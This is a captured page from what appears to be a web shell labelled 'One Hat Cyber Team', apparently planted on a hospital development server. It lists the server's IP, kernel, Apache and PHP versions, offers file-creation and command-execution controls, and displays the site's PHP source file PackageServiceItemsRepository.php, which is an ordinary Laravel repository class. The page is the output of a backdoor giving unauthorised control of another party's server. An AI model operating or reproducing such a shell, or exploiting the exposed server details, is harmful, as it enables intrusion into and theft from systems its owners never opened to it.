⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.94
Server IP:
178.33.27.10
Server:
Linux cpanel.dev-unit.com 3.10.0-1160.108.1.el7.x86_64 #1 SMP Thu Jan 25 16:17:31 UTC 2024 x86_64
Server Software:
Apache/2.4.57 (Unix) OpenSSL/1.0.2k-fips
PHP Version:
8.2.11
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
id
/
hospital.dev-unit.com
/
app
/
Repositories
/
View File Name :
PackageServiceItemsRepository.php
<?php namespace App\Repositories; use App\Models\Package; use App\Models\PackageService; use Exception; /** * Class PackageServiceItemsRepository * * @version February 13, 2020, 9:51 am UTC */ class PackageServiceItemsRepository extends BaseRepository { /** * @var array */ protected $fieldSearchable = [ 'service_id', 'package_id', 'quantity', 'rate', 'amount', ]; /** * Return searchable fields */ public function getFieldsSearchable(): array { return $this->fieldSearchable; } /** * Configure the Model **/ public function model() { return PackageService::class; } /** * @throws Exception */ public function updatePackageServiceItem(array $packageServiceItemInput, int $packageId) { /** @var Package $package */ $package = Package::find($packageId); $packageServiceItemIds = []; foreach ($packageServiceItemInput as $key => $data) { if (isset($data['id']) && ! empty($data['id'])) { $packageServiceItemIds[] = $data['id']; $this->update($data, $data['id']); } else { /** @var PackageService $packageServiceItem */ $packageServiceItem = new PackageService($data); $packageServiceItem = $package->packageServicesItems()->save($packageServiceItem); $packageServiceItemIds[] = $packageServiceItem->id; } } if (! (isset($packageServiceItemIds) && count($packageServiceItemIds))) { return; } PackageService::whereNotIn('id', $packageServiceItemIds)->wherePackageId($package->id)->delete(); } }